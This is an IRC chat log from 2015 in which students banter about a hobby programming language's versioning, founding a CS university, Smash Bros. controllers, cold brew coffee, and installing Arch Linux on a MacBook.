[2015-02-02T16:44:15-0500] <+Tamini> lol
[2015-02-02T16:44:19-0500] <+Tamini> you respond to bug reports? :O
[2015-02-02T16:44:28-0500] <+JacobEdelman> outstanding issues that will not be fixed in the next version are:
[2015-02-02T16:44:35-0500] <+JacobEdelman> 1) spelling
[2015-02-02T16:44:50-0500] <+JacobEdelman> 2) stubborness
[2015-02-02T16:44:54-0500] <+JacobEdelman> 3) spellllling
[2015-02-02T16:45:00-0500] <+JacobEdelman> 4) lack of numbers larger than 4
[2015-02-02T16:45:14-0500] <+JacobEdelman> 5) ERROR 
[2015-02-02T16:45:21-0500] <@awe> You should also note that it doesn't necessarily make you special to be ready for graduate level algo courses
[2015-02-02T16:45:32-0500] <+JacobEdelman> awe: i'm done arguing
[2015-02-02T16:45:34-0500] <@awe> Most schools only have one or two undergrad courses in algos.
[2015-02-02T16:45:46-0500] <+JacobEdelman> I take the 3rd
[2015-02-02T16:46:03-0500] <+Tamini> lol
[2015-02-02T16:46:07-0500] <+Tamini> awe, we might as well drop it
[2015-02-02T16:46:10-0500] <+Tamini> he gets the point now
[2015-02-02T16:46:35-0500] <@awe> Ok.
[2015-02-02T16:46:40-0500] <+JacobEdelman> Tamini: thats not nesscarily true
[2015-02-02T16:46:45-0500] <@awe> Man, today has been incredibly shitty.
[2015-02-02T16:46:46-0500] <+JacobEdelman> Tamini: I still have disagreements
[2015-02-02T16:46:52-0500] <alokpathy> awe: :(
[2015-02-02T16:46:56-0500] <alokpathy> Why?
[2015-02-02T16:46:59-0500] <+JacobEdelman> Tamini: I just refuse to continue arguing since the argument has degraded in quality
[2015-02-02T16:47:04-0500] <+JacobEdelman> awe: have an ice cream!
[2015-02-02T16:47:10-0500] <+Tamini> awe: what's wrong?
[2015-02-02T16:47:11-0500] <+Tamini> D:
[2015-02-02T16:47:29-0500] <+Tamini> JacobEdelman: eh, but I'm going to think we got our point across at least a little. oki? :P
[2015-02-02T16:47:58-0500] <+JacobEdelman> Tamini: eh.... a little.... you've made me decide to have more exacting semantics and diction 
[2015-02-02T16:48:08-0500] <+Tamini> and that makes me happier!
[2015-02-02T16:48:19-0500] <Hyper> so is anyone working on interesting projects?
[2015-02-02T16:48:20-0500] <+JacobEdelman> Tamini: also you scared wog-weg-wig away
[2015-02-02T16:48:28-0500] <+JacobEdelman> Hyper: lark 0.1.0
[2015-02-02T16:48:34-0500] <+JacobEdelman> Hyper: is coming
[2015-02-02T16:48:38-0500] <+JacobEdelman> Hyper: eventually
[2015-02-02T16:48:49-0500] <+Tamini> eventually
[2015-02-02T16:48:50-0500] <@awe> JacobEdelman: is your plan seriously to not have a standard library at all?
[2015-02-02T16:48:57-0500] <+JacobEdelman> awe: I will
[2015-02-02T16:49:06-0500] <@awe> Then you shouldn't be at 0.1.0.
[2015-02-02T16:49:09-0500] <+Tamini> i'll let you guys try to destroy my hackathon project soon
[2015-02-02T16:49:09-0500] <+JacobEdelman> once I have a version that I don't intend to completely rewrite
[2015-02-02T16:49:15-0500] <Hyper> awe: you can't have a standard library before he has a language :)
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[2015-02-02T16:49:18-0500] <+JacobEdelman> Tamini: oooh, wee!
[2015-02-02T16:49:19-0500] Tamini (Tamini@pdgn-4jd.4t2.2bemd8.IP) joined the channel
[2015-02-02T16:49:19-0500] Pidgey sets mode +v Tamini
[2015-02-02T16:49:23-0500] <@awe> Hyper: I'm complaining about the versioning.
[2015-02-02T16:49:25-0500] <+JacobEdelman> Tamini: oooh, wee!
[2015-02-02T16:49:33-0500] <@awe> Hyper: he shouldn't be at 0.1.0 with literally nothing done.
[2015-02-02T16:49:34-0500] <+Tamini> lol
[2015-02-02T16:49:36-0500] <+Tamini> we're actually
[2015-02-02T16:49:38-0500] <Hyper> presumably his language would be versioned separately from the stdlib?
[2015-02-02T16:49:41-0500] <+Tamini> working on making the code less bad
[2015-02-02T16:49:48-0500] <+Tamini> because the last hour resulted in
[2015-02-02T16:49:53-0500] <@awe> Hyper: why?
[2015-02-02T16:49:54-0500] <+Tamini> Hotfix #1 - #25
[2015-02-02T16:50:01-0500] <+Tamini> to make a workable demo
[2015-02-02T16:50:05-0500] <+JacobEdelman> awe: semntic versioning says if I tear down my entire project it should go to 1.0.0, but I decided not enough has been done to do that so I comprimised
[2015-02-02T16:50:06-0500] <@awe> JacobEdelman: the first version of your language that you're not going to rewrite should be 0.0.1.
[2015-02-02T16:50:23-0500] <@awe> JacobEdelman: no, that's not true, because semantic versioning says that if the major version is 0, anything goes.
[2015-02-02T16:50:24-0500] <Hyper> awe: because clearly he isn't including the stdlib in it idk
[2015-02-02T16:50:29-0500] <+JacobEdelman> awe: maybe I'll restart once I get to that point
[2015-02-02T16:50:30-0500] <@awe> Hyper: that's just a bad idea though.
[2015-02-02T16:50:32-0500] <Hyper> i'm trying to come up with a reasonable justification
[2015-02-02T16:50:40-0500] <Hyper> how about "he wants to and that's good enough for him"?
[2015-02-02T16:50:42-0500] <+JacobEdelman> Hyper: I will be including one, just not yet
[2015-02-02T16:50:45-0500] <@awe> JacobEdelman: you should just keep it as 0.0.1 until you actually have something that you're not going to trash.
[2015-02-02T16:50:49-0500] <+JacobEdelman> Hyper: good reason :)
[2015-02-02T16:50:49-0500] <Hyper> because it's his project?
[2015-02-02T16:50:50-0500] <Hyper> :)
[2015-02-02T16:50:55-0500] <+JacobEdelman> ^
[2015-02-02T16:51:08-0500] <Hyper> FistDance has skeletons now!
[2015-02-02T16:51:17-0500] <Hyper> soon it'll have skeletal animation :D
[2015-02-02T16:51:19-0500] <@awe> But he has no experience maintaining a project.
[2015-02-02T16:51:27-0500] <Hyper> awe: you have to start somewhere
[2015-02-02T16:51:38-0500] <@awe> And getting advice from someone with experience is a very good place to start.
[2015-02-02T16:51:39-0500] <+JacobEdelman> ^
[2015-02-02T16:51:45-0500] <+JacobEdelman> (that ^ was pointing to what hyper said)
[2015-02-02T16:51:55-0500] <+JacobEdelman> (Hyper is experienced) 
[2015-02-02T16:52:00-0500] <@awe> He's not giving you advice.
[2015-02-02T16:52:03-0500] <@awe> He's stating "Do whatever."
[2015-02-02T16:52:06-0500] <+JacobEdelman> (I'll take his advice not to take your advice if I don't want too)
[2015-02-02T16:52:10-0500] <+JacobEdelman> :p
[2015-02-02T16:52:14-0500] <+JacobEdelman> :P
[2015-02-02T16:52:20-0500] <Hyper> oh dear i'm being put on a pedestal
[2015-02-02T16:52:22-0500] <Hyper> that's a bad idea
[2015-02-02T16:52:37-0500] <+JacobEdelman> I herby take Hyper off the pedestal
[2015-02-02T16:52:44-0500] <@awe> You don't learn how to maintain projects in a way that other people understand by ignoring when other people tell you how they understand versioning.
[2015-02-02T16:52:44-0500] • Hyper: falls
[2015-02-02T16:52:50-0500] <+JacobEdelman> and place a glass of salad dressing and a lit pipe bomb on it
[2015-02-02T16:53:44-0500] <Hyper> awe: I feel that the best way to learn is to learn from mistakes
[2015-02-02T16:53:54-0500] <Hyper> like I don't argue that his versioning is good
[2015-02-02T16:54:04-0500] <Hyper> but I argue that it is a learning experience
[2015-02-02T16:54:37-0500] <+JacobEdelman> hmmm... in that case I've been learning a lot my entire life!
[2015-02-02T16:55:06-0500] <@awe> Hyper: I agree, but I still don't see a point in purposefully making mistakes.
[2015-02-02T16:56:05-0500] <@awe> Also, he'll never know the pain it brings because nobody will ever touch his language.
[2015-02-02T16:57:03-0500] <+JacobEdelman> ... because the versioning is bad?
[2015-02-02T16:57:14-0500] <@awe> No, because it's useless.
[2015-02-02T16:57:24-0500] <+JacobEdelman> ... its not
[2015-02-02T16:57:26-0500] <+JacobEdelman> you'll see
[2015-02-02T16:57:28-0500] <+JacobEdelman> give it time
[2015-02-02T16:57:32-0500] <+JacobEdelman> and you will realize
[2015-02-02T16:57:43-0500] <+JacobEdelman> ps: all syntex modification parts will be compile time
[2015-02-02T16:57:47-0500] <+JacobEdelman> *syntax
[2015-02-02T16:57:59-0500] <@awe> Still not useful.
[2015-02-02T16:58:04-0500] <+JacobEdelman> so it will compile down to beautiful.... something else, I'm not sure what yet
[2015-02-02T16:58:11-0500] <Hyper> awe: stop being mr. grumpy pants :)
[2015-02-02T16:58:21-0500] <+JacobEdelman> maybe I'll compile it to coffeescript, just to make people cringe
[2015-02-02T16:59:12-0500] <@awe> I do not understand how someone's entire goal can be to make things so useless that they make people cringe.
[2015-02-02T16:59:18-0500] <@awe> I do not get how that is anything anyone aspires for.
[2015-02-02T16:59:50-0500] <alokpathy> Well, maybe he wants to be a comedian. I'd find that funny.
[2015-02-02T17:00:13-0500] <@awe> Perhaps, but that's a lot of invested effort for comedy.
[2015-02-02T17:01:10-0500] <alokpathy> No pain no gain :P
[2015-02-02T17:02:17-0500] <+JacobEdelman> ^
[2015-02-02T17:02:28-0500] <alokpathy> What if we all become faculty at the same uni?
[2015-02-02T17:02:30-0500] <alokpathy> That'd be cool.
[2015-02-02T17:02:32-0500] <alokpathy> We should do that.
[2015-02-02T17:02:34-0500] <@awe> It's unlikely.
[2015-02-02T17:02:51-0500] <alokpathy> That's why it'll be cool if we do :P
[2015-02-02T17:02:51-0500] <Hyper> unless we start our own uni
[2015-02-02T17:02:55-0500] <Hyper> with blackjack and hookers
[2015-02-02T17:02:57-0500] <+JacobEdelman> edelman university, coming in the year 2019
[2015-02-02T17:03:12-0500] <+JacobEdelman> or pdgn univeristy, if you guys give seed funding
[2015-02-02T17:03:20-0500] <+JacobEdelman> othewize I'll just drain ben's back account
[2015-02-02T17:03:25-0500] <+JacobEdelman> *otherwise
[2015-02-02T17:04:03-0500] <@awe> JacobEdelman: if you want a more out-there goal for my life, I would like to some day start a specialized school for computer science.
[2015-02-02T17:04:15-0500] <+JacobEdelman> awe: hmm... thats a better goal
[2015-02-02T17:04:27-0500] <+JacobEdelman> okay, who heres gonna become rich and fund pdgn university
[2015-02-02T17:04:42-0500] <alokpathy> I vote JacobEdelman 
[2015-02-02T17:05:04-0500] <@awe> Well, some things to note.
[2015-02-02T17:05:21-0500] <@awe> Well, one big thing really.
[2015-02-02T17:05:28-0500] <+JacobEdelman> pdgn University: ubi ratio dies
[2015-02-02T17:06:07-0500] <@awe> If a group of well-known and successful university professors in a high-profile field like CS wanted to start a school, getting funding from something like Microsoft would be hard, but not impossible.
[2015-02-02T17:06:24-0500] <+Tamini> whoa
[2015-02-02T17:06:26-0500] <+Tamini> so like
[2015-02-02T17:06:30-0500] <+Tamini> proof school, but algo school?
[2015-02-02T17:06:40-0500] <+JacobEdelman> hmmm.... its a university
[2015-02-02T17:06:43-0500] <+JacobEdelman> and for all cs
[2015-02-02T17:06:46-0500] <@awe> Yeah.
[2015-02-02T17:06:50-0500] <@awe> That would be my hope.
[2015-02-02T17:06:50-0500] <Hyper> awe: I thought you hated specialized schools
[2015-02-02T17:06:55-0500] <@awe> Not high school.
[2015-02-02T17:06:56-0500] <Hyper> didn't we have a huge argument about this?
[2015-02-02T17:06:56-0500] <alokpathy> Tamini: I thought proof school was for HSers.
[2015-02-02T17:07:03-0500] <@awe> I'm talking about a university specifically for CS.
[2015-02-02T17:07:04-0500] <+JacobEdelman> this is for college
[2015-02-02T17:07:05-0500] <@awe> Not a high school.
[2015-02-02T17:07:13-0500] <+Tamini> oh
[2015-02-02T17:07:15-0500] <Hyper> what's the difference?
[2015-02-02T17:07:23-0500] <+Tamini> well, true
[2015-02-02T17:07:31-0500] <+JacobEdelman> also, it doesn't have to be specialized, I can teach, uh..... , musical cucumber eating?
[2015-02-02T17:07:40-0500] <@awe> That the climate for universities is entirely selective by nature?
[2015-02-02T17:07:44-0500] <+JacobEdelman> hows my motto proposal: ubi ratio dies
[2015-02-02T17:07:45-0500] <Hyper> JacobEdelman is a man of many talents
[2015-02-02T17:07:53-0500] <ubuntor> ubi ratio moritur?
[2015-02-02T17:07:59-0500] <+Tamini> lol
[2015-02-02T17:08:05-0500] <+Tamini> Hyper: of which spelling is not one? :P
[2015-02-02T17:08:15-0500] <+JacobEdelman> ubuntor: google translate has failed me
[2015-02-02T17:08:16-0500] <Hyper> anyways I'm gonna go have dinner and then do homework so cyaa
[2015-02-02T17:08:30-0500] <+JacobEdelman> ubuntor: despite the fact that I'm in latin I still use google translate cause I fail at languages
[2015-02-02T17:08:35-0500] <+JacobEdelman> Hyper: bye!
[2015-02-02T17:08:37-0500] <ubuntor> rip
[2015-02-02T17:09:16-0500] <+Tamini> JacobEdelman: wait
[2015-02-02T17:09:19-0500] <+Tamini> I thought you took latin?
[2015-02-02T17:09:20-0500] <+Tamini> like
[2015-02-02T17:09:21-0500] <+Tamini> for a while?
[2015-02-02T17:09:25-0500] <+Tamini> Hyper: see you! :)
[2015-02-02T17:09:43-0500] <@awe> JacobEdelman: you can't speak English. Of course, you can't speak another language.
[2015-02-02T17:09:45-0500] <+JacobEdelman> i do, I'm too lazy to translate things
[2015-02-02T17:09:50-0500] <+JacobEdelman> ^
[2015-02-02T17:10:00-0500] <+Tamini> well
[2015-02-02T17:10:02-0500] <+Tamini> i can't speak english
[2015-02-02T17:10:08-0500] <+Tamini> i can sort of speak korean? :D
[2015-02-02T17:10:44-0500] <@awe> Tamini: well, which was your first language?
[2015-02-02T17:10:49-0500] <@awe> JacobEdelman cannot speak his first language.
[2015-02-02T17:11:04-0500] <jwoglom> how english
[2015-02-02T17:11:14-0500] <jwoglom> native language much hard
[2015-02-02T17:12:49-0500] <+Tamini> well, fair enough
[2015-02-02T17:13:00-0500] <Coast> Tamini, hi
[2015-02-02T17:13:07-0500] <+Tamini> hello, Coast.
[2015-02-02T17:13:36-0500] <Coast> still interested in Splinter Cell Blacklist?
[2015-02-02T17:14:44-0500] <@awe> hi Coast
[2015-02-02T17:14:49-0500] <ubuntor> hey
[2015-02-02T17:15:16-0500] <+Tamini> umm
[2015-02-02T17:15:25-0500] <+Tamini> I can't get you starbound so I wouldn't want to ask for that :/
[2015-02-02T17:15:34-0500] <+Tamini> Thank you for the offer, though.
[2015-02-02T17:15:34-0500] <Coast> it's okay
[2015-02-02T17:15:38-0500] <Coast> I don't want starbound
[2015-02-02T17:15:39-0500] <+JacobEdelman> Coast: awe can probaly get you starbound
[2015-02-02T17:15:43-0500] <+JacobEdelman> oh
[2015-02-02T17:16:03-0500] <Coast> I just a humble bundle and um, a 3 dollar game
[2015-02-02T17:16:42-0500] <Coast> so that would be 4 bucks, assuming a minimal payment for the bundle
[2015-02-02T17:20:32-0500] <@awe> My level of play at Melee has improved significantly.
[2015-02-02T17:20:45-0500] <+Tamini> heh
[2015-02-02T17:20:50-0500] <+Tamini> I need to learn to be better at that game
[2015-02-02T17:20:59-0500] <+Tamini> we play it all the time on the ride to hmmt and i suck >.<
[2015-02-02T17:21:01-0500] <+JacobEdelman> I'm now decent at brawl
[2015-02-02T17:21:16-0500] <@awe> I've been practicing it a ton.
[2015-02-02T17:21:28-0500] <+JacobEdelman> awe: come here and ezra will beat you
[2015-02-02T17:21:34-0500] <+JacobEdelman> ezra has gotten rather good
[2015-02-02T17:21:34-0500] <@awe> Probably true.
[2015-02-02T17:21:37-0500] <@awe> But he could netplay againts me.
[2015-02-02T17:21:56-0500] <+JacobEdelman> eh, too complicated
[2015-02-02T17:26:50-0500] <@awe> Not really.
[2015-02-02T17:26:52-0500] <@awe> It's pretty easy.
[2015-02-02T17:27:02-0500] <@awe> I desperately need to get my hands on one of those WiiU controller hubs though.
[2015-02-02T17:27:11-0500] <+JacobEdelman> yes, they sound cool
[2015-02-02T17:27:13-0500] <@awe> I'll be so much better once I can use a controller that doesn't suck for this.
[2015-02-02T17:27:25-0500] <@awe> I'm using a PS3 controller now, but I'd be much better with a GC one.
[2015-02-02T17:31:30-0500] <@awe> If anyone can get me one of the official Nintendo controller hubs, I will offer copious rewards.
[2015-02-02T17:31:48-0500] <jwoglom> awe: the wii u gamecube controller ones?
[2015-02-02T17:31:57-0500] <@awe> Yes.
[2015-02-02T17:32:47-0500] <nezorg> I had some artisan cold brew coffee today
[2015-02-02T17:32:53-0500] <nezorg> it was absolutely delicious
[2015-02-02T17:32:59-0500] <nezorg> but quite expsensive
[2015-02-02T17:33:19-0500] <jwoglom> awe: aren't they on sale places?
[2015-02-02T17:35:00-0500] <+Tamini> wait nezorg OMG
[2015-02-02T17:35:06-0500] <+Tamini> that coffee tho
[2015-02-02T17:35:12-0500] <+Tamini> i want to know more about that coffee.
[2015-02-02T17:35:47-0500] <nezorg> 1. it is extremely good
[2015-02-02T17:35:53-0500] <nezorg> 2. it is pricey
[2015-02-02T17:35:59-0500] <nezorg> 3. it is available only in socal
[2015-02-02T17:37:16-0500] <+JacobEdelman> solution: buy socal
[2015-02-02T17:37:29-0500] <+Tamini> D:
[2015-02-02T17:37:30-0500] <+Tamini> okay
[2015-02-02T17:37:33-0500] <+Tamini> you are going to like
[2015-02-02T17:37:42-0500] <+Tamini> either bring me things if the cmu trip happens
[2015-02-02T17:37:48-0500] <+Tamini> or mail me things after you come back from tokyo
[2015-02-02T17:37:55-0500] <+Tamini> its not fair that only you get all these cool things >_<
[2015-02-02T17:38:02-0500] <nezorg> Tamini, I'm sure there's good cold brew where you live :P
[2015-02-02T17:38:13-0500] <+Tamini> nyeh
[2015-02-02T17:38:18-0500] <+Tamini> but that requires effort to look for it
[2015-02-02T17:38:47-0500] <nezorg> gasp
[2015-02-02T17:38:59-0500] <nezorg> i randomly saw it in the grocery store today
[2015-02-02T17:39:11-0500] <+Tamini> lol
[2015-02-02T17:39:15-0500] <+Tamini> was it good?
[2015-02-02T17:39:19-0500] <+Tamini> it's supposed to be sweeter, right
[2015-02-02T17:39:26-0500] <nezorg> [14:32] (nezorg) it was absolutely delicious
[2015-02-02T17:39:30-0500] <+Tamini> <3
[2015-02-02T17:39:31-0500] <nezorg> [14:35] (nezorg) 1. it is extremely good
[2015-02-02T17:39:44-0500] <nezorg> yeah, it's way less acid-y
[2015-02-02T17:40:13-0500] <nezorg> I made some of my own but it didn't turn out that well
[2015-02-02T17:40:15-0500] <nezorg> more earthy
[2015-02-02T17:40:27-0500] <+Tamini> ah
[2015-02-02T17:40:40-0500] <+Tamini> gosh, time to go hunt for coldbrew
[2015-02-02T17:41:02-0500] <nezorg> I'm worried I'll become a hipster food person though
[2015-02-02T17:41:17-0500] <nezorg> I'm already hipster with my programming languages
[2015-02-02T17:41:24-0500] <+Tamini> s'ok
[2015-02-02T17:41:31-0500] <+Tamini> you'll be so hipster you're no longer hipster
[2015-02-02T17:41:46-0500] <nezorg> because being hipster is mainstream now? :P
[2015-02-02T17:41:48-0500] <+Tamini> yep
[2015-02-02T17:42:13-0500] <+JacobEdelman> nezorg: switch to lark, its the ultimate hipster programming language
[2015-02-02T17:43:06-0500] <nezorg> no, that would be two people using it
[2015-02-02T17:43:26-0500] <nezorg> obviously the only true hipster language is one you create yourself
[2015-02-02T17:43:29-0500] <nezorg> and only you use
[2015-02-02T17:43:42-0500] <+JacobEdelman> :P
[2015-02-02T17:43:49-0500] <ubuntor> make an esolang
[2015-02-02T17:43:55-0500] <nezorg> also, when I get back from tokyo I'm definitely installing arch on my laptop
[2015-02-02T17:44:04-0500] <nezorg> ubuntu is being way too annoying
[2015-02-02T17:44:09-0500] <ubuntor> lol, good choice
[2015-02-02T17:44:14-0500] <+Tamini> nezorg: simple, write a language! :D
[2015-02-02T17:44:15-0500] <Coast> man
[2015-02-02T17:44:16-0500] <+Tamini> lol
[2015-02-02T17:44:18-0500] <+Tamini> wait so
[2015-02-02T17:44:25-0500] <Coast> r/steamgameswap sucks
[2015-02-02T17:44:27-0500] <+Tamini> will you suffer with me 
[2015-02-02T17:44:33-0500] <Coast> I just want to give this key out
[2015-02-02T17:44:47-0500] <Coast> away*
[2015-02-02T17:44:54-0500] <nezorg> Tamini: installing arch?
[2015-02-02T17:45:01-0500] <ubuntor> then why not give it away here?
[2015-02-02T17:45:01-0500] <nezorg> it's actually not that bad anymore
[2015-02-02T17:45:01-0500] <+Tamini> installing arch on a mac
[2015-02-02T17:45:02-0500] <Coast> but in order to trade a game key you need to have done another trade
[2015-02-02T17:45:03-0500] <+Tamini> :P
[2015-02-02T17:45:04-0500] <Coast> that's annoying
[2015-02-02T17:45:21-0500] <nezorg> the only painful part is setting up fde
[2015-02-02T17:45:30-0500] <+Tamini> heh
[2015-02-02T17:45:32-0500] <nezorg> but I think I figured that out on my desktop
[2015-02-02T17:45:38-0500] <+Tamini> and you'll be around to help me make it suck less
[2015-02-02T17:45:39-0500] <+Tamini> :P
[2015-02-02T17:45:39-0500] <+Tamini> and ooh
[2015-02-02T17:46:53-0500] <nezorg> ?
[2015-02-02T17:46:56-0500] <nezorg> also kernel 3.17 doesn't support thunderbolt hotplugging >_<
[2015-02-02T17:47:07-0500] <nezorg> so my ethernet adapter only works if it's connected at boot
[2015-02-02T17:47:41-0500] <+JacobEdelman> oh, you use a mac book, that explains the problem
[2015-02-02T17:47:56-0500] <+JacobEdelman> solution: get a laptop from system76
[2015-02-02T17:47:59-0500] <nezorg> lol
[2015-02-02T17:48:08-0500] <nezorg> I like my rmbp pretty well
[2015-02-02T17:48:15-0500] <nezorg> my next'll probably be a thinkpad though
[2015-02-02T17:48:22-0500] <nezorg> but this one will serve me for a while yet
[2015-02-02T17:49:13-0500] <ubuntor> no changes in 3.18?
[2015-02-02T17:49:15-0500] <nezorg> Tamini: what were you saying?
[2015-02-02T17:49:20-0500] <+Tamini> nezorg: hmm?
[2015-02-02T17:49:28-0500] <nezorg> ubuntor: yes, changes in 3.18, which is why I want a newer kernel! :P
[2015-02-02T17:49:33-0500] <+Tamini> oh, nothing too much
[2015-02-02T17:49:42-0500] <nezorg> you said "and ooh"
[2015-02-02T17:49:50-0500] <ubuntor> probably over fde
[2015-02-02T17:49:59-0500] <nezorg> oh
[2015-02-02T17:50:07-0500] <nezorg> anyway, 3.18 supports thunderbolt hotplugging
[2015-02-02T17:50:29-0500] <ubuntor> oh, is it not in the official ubuntu repos?
[2015-02-02T17:51:02-0500] <nezorg> well, there's a deb you can install, but it's not in the repos
[2015-02-02T17:51:10-0500] <nezorg> and when I try to install it I get kernel module compile errors
[2015-02-02T17:51:37-0500] <ubuntor> :/
[2015-02-02T17:52:04-0500] <nezorg> I guess installing arch will be my big project of the following weekend
[2015-02-02T17:52:18-0500] <nezorg> there are a bunch of other things too that are annoying ubuntu
[2015-02-02T17:52:23-0500] <nezorg> like the lockscreen only works about half the time
[2015-02-02T17:54:04-0500] <ubuntor> unity is terribad
[2015-02-02T17:54:09-0500] <nezorg> plus I haven't figured out how to configure wifi stuff unless I'm inside unity
[2015-02-02T17:54:15-0500] <Coast> pff
[2015-02-02T17:54:17-0500] <nezorg> oh, actually, I did figure that out
[2015-02-02T17:54:20-0500] <nezorg> but it's painful
[2015-02-02T17:54:23-0500] <ubuntor> its multitouch support is decent tho
[2015-02-02T17:54:24-0500] <nezorg> whereas arch has wifi-menu
[2015-02-02T17:54:36-0500] <Coast> nobody wants my copy of Splinter Cell 
[2015-02-02T17:54:39-0500] <nezorg> ubuntor: I rarely use the trackpad anyway! :P
[2015-02-02T17:54:47-0500] <Coast> this sucks
[2015-02-02T17:54:50-0500] <nezorg> pretty much the only multitouch stuff I do is two-finger scroll
[2015-02-02T17:54:57-0500] <nezorg> and two-finger right click
[2015-02-02T17:55:30-0500] <ubuntor> multitouch on a touchscreen is awesome
[2015-02-02T17:55:40-0500] <nezorg> I might also take the occasion of installing arch to shrink my osx partition
[2015-02-02T17:55:59-0500] <ubuntor> oh, what's your current partition layout?
[2015-02-02T17:56:11-0500] <nezorg> let's look...
[2015-02-02T17:57:13-0500] <nezorg> 232GB for osx, 152GB for linux, 64GB for windows (which isn't even working atm)
[2015-02-02T17:57:25-0500] <nezorg> considering I barely use osx anymore, that doesn't make sense
[2015-02-02T17:58:26-0500] <ubuntor> mhm
[2015-02-02T17:59:01-0500] <ubuntor> what do you use as a bootloader?
[2015-02-02T17:59:24-0500] <nezorg> just default, it's working out pretty well for me
[2015-02-02T17:59:24-0500] <ubuntor> with efi
[2015-02-02T17:59:34-0500] <nezorg> oh, bootloader
[2015-02-02T17:59:37-0500] <nezorg> atm I'm using grub
[2015-02-02T17:59:44-0500] <nezorg> but if I switch I'll use linux's native efi booting
[2015-02-02T18:00:01-0500] <+Tamini> wait, this is the
[2015-02-02T18:00:03-0500] <nezorg> I think I'm the only person that actually likes efi...
[2015-02-02T18:00:06-0500] <+Tamini> same laptop i remember you using, right?
[2015-02-02T18:00:17-0500] <nezorg> well it's the one I brought to csaw
[2015-02-02T18:00:31-0500] <+Tamini> the mac, yeah
[2015-02-02T18:00:54-0500] <nezorg> https://support.apple.com/kb/SP690
[2015-02-02T18:01:33-0500] <+Tamini> hmm
[2015-02-02T18:01:34-0500] <+Tamini> quickly
[2015-02-02T18:01:47-0500] <nezorg> MacbookPro11,2 iirc
[2015-02-02T18:01:50-0500] <+Tamini> how can i explain LDA to someone that doesnt know linear?
[2015-02-02T18:03:05-0500] <nezorg> oh, the 15" rmbps come with 16gb of ram default now, interesting
[2015-02-02T18:03:58-0500] <ubuntor> Tamini: give a quick rundown of linear? :P
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[2015-02-02T18:17:33-0500] <@awe> Coast: I'll take the copy for free.
[2015-02-02T18:18:00-0500] <Coast> awe, some other guy contaced me
[2015-02-02T18:18:04-0500] <Coast> he said he wanted the copy
[2015-02-02T18:18:14-0500] <Coast> but I don't think he's gonna get me anything for it either
[2015-02-02T18:18:19-0500] <Coast> I dunno what to do
[2015-02-02T18:18:21-0500] <@awe> [17:33:19]  <jwoglom>	awe: aren't they on sale places?
[2015-02-02T18:18:25-0500] <@awe> jwoglom: they're sold out everywhere.
[2015-02-02T18:18:35-0500] <@awe> Coast: I don't need it. :p
[2015-02-02T18:19:14-0500] <jwoglom> awe: i see that
[2015-02-02T18:19:23-0500] <jwoglom> http://www.amazon.com/Super-Smash-GameCube-Adapter-Wii-U/dp/B00L3LQ1FI $85 O_o
[2015-02-02T18:19:36-0500] <@awe> Yeah.
[2015-02-02T18:19:39-0500] <@awe> BUT I NEED IT.
[2015-02-02T18:19:45-0500] <jwoglom> then pony up the money :P
[2015-02-02T18:19:54-0500] <@awe> I ain't about to pay $85 for that.
[2015-02-02T18:20:02-0500] <@awe> That's 4.25x the cost.
[2015-02-02T18:20:30-0500] <alokpathy> awe: You had a max connection thing for IRCCloud, right?
[2015-02-02T18:20:34-0500] <alokpathy> What's that for Weechat?
[2015-02-02T18:20:36-0500] <jwoglom> $70 on ebay :P
[2015-02-02T18:20:41-0500] <@awe> Weechat is a client.
[2015-02-02T18:20:48-0500] <@awe> It's 3 users per IP.
[2015-02-02T18:20:55-0500] <alokpathy> Oh, okay.
[2015-02-02T18:20:56-0500] <@awe> For IRCCloud, I raised it to 30 or something.
[2015-02-02T18:20:57-0500] <alokpathy> Hm
[2015-02-02T18:21:03-0500] <@awe> For my ZNC, I raised it to 10?
[2015-02-02T18:21:14-0500] <@awe> alokpathy: Do you want an account on my ZNC finally?
[2015-02-02T18:21:56-0500] <alokpathy> Yeah xD
[2015-02-02T18:22:10-0500] <@awe> jwoglom: "within a few weeks, I'm sure everyone who wants one will be able to get one."
[2015-02-02T18:22:14-0500] <@awe> jwoglom: from a review in November.
[2015-02-02T18:22:19-0500] <jwoglom> lol
[2015-02-02T18:22:33-0500] <jwoglom> that wasn't a definite statement :P
[2015-02-02T18:22:55-0500] <@awe> I know.
[2015-02-02T18:23:00-0500] <@awe> It's just funny.
[2015-02-02T18:23:04-0500] <jwoglom> still, seems pretty rediculous
[2015-02-02T18:23:55-0500] <ubuntor> the only issue i have with znc is that you need one connection per network :/
[2015-02-02T18:24:24-0500] <@awe> I like it, honestly.
[2015-02-02T18:24:37-0500] <@awe> How else do you separate servers?
[2015-02-02T18:25:15-0500] <jwoglom> yeah, you kind of have to have separate connections
[2015-02-02T18:35:37-0500] <@awe> According to the Nintendo UK site, they may be available again in March.
[2015-02-02T18:36:43-0500] <jwoglom> awe: do you have a wii u?
[2015-02-02T18:47:00-0500] <@awe> No.
[2015-02-02T18:47:23-0500] <jwoglom> does the thing work with a pc then, i guess?
[2015-02-02T18:48:08-0500] <@awe> Not officially, but Dolphin features reverse-engineered support for it now. :)
[2015-02-02T18:48:34-0500] <jwoglom> dolphin is awesome
[2015-02-02T18:48:37-0500] <ubuntor> ^^^
[2015-02-02T18:48:39-0500] <@awe> Indeed.
[2015-02-02T18:48:49-0500] <jwoglom> i just wish i had better hardware
[2015-02-02T18:48:54-0500] <@awe> I have sick hardware.
[2015-02-02T18:49:02-0500] <@awe> If Dolphin can run it, I can play it at full speed.
[2015-02-02T18:49:46-0500] <jwoglom> I have a 2012 mba and a 2008 dell desktop, lol
[2015-02-02T18:49:58-0500] <jwoglom> i really need better hardware
[2015-02-02T18:50:21-0500] <@awe> I have a homebuilt desktop from last year, and a Late 2013 MBP Retina. 
[2015-02-02T18:50:29-0500] <jwoglom> nice
[2015-02-02T18:50:41-0500] <@awe> It's an AMD powerhouse.
[2015-02-02T18:50:49-0500] <@awe> I have the top FX processor. :D
[2015-02-02T18:51:06-0500] <jwoglom> the only thing with me getting better hardware is that like, i don't really need it
[2015-02-02T18:51:10-0500] <jwoglom> i don't game, like, at al
[2015-02-02T18:51:12-0500] <jwoglom> all
[2015-02-02T18:51:54-0500] <@awe> I need it for games, and also for Azure development.
[2015-02-02T18:52:10-0500] <@awe> The Azure emulator is super intensive, and runs horrifically slowly on even this machine.
[2015-02-02T18:52:44-0500] <jwoglom> why azure?
[2015-02-02T18:53:24-0500] <@awe> My startup is full Microsoft stack.
[2015-02-02T18:53:27-0500] <@awe> We run Azure.
[2015-02-02T18:53:56-0500] <jwoglom> huh, interesting
[2015-02-02T18:54:09-0500] <jwoglom> why'd your startup make those architecture decisions?
[2015-02-02T18:54:23-0500] <@awe> Security concerns.
